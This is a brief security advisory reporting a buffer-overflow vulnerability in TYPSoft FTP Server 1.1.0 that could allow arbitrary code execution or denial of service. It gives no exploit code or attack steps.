  TYPSoft FTP Server is prone to a buffer-overflow vulnerability.
  
  An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
  
  TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected.
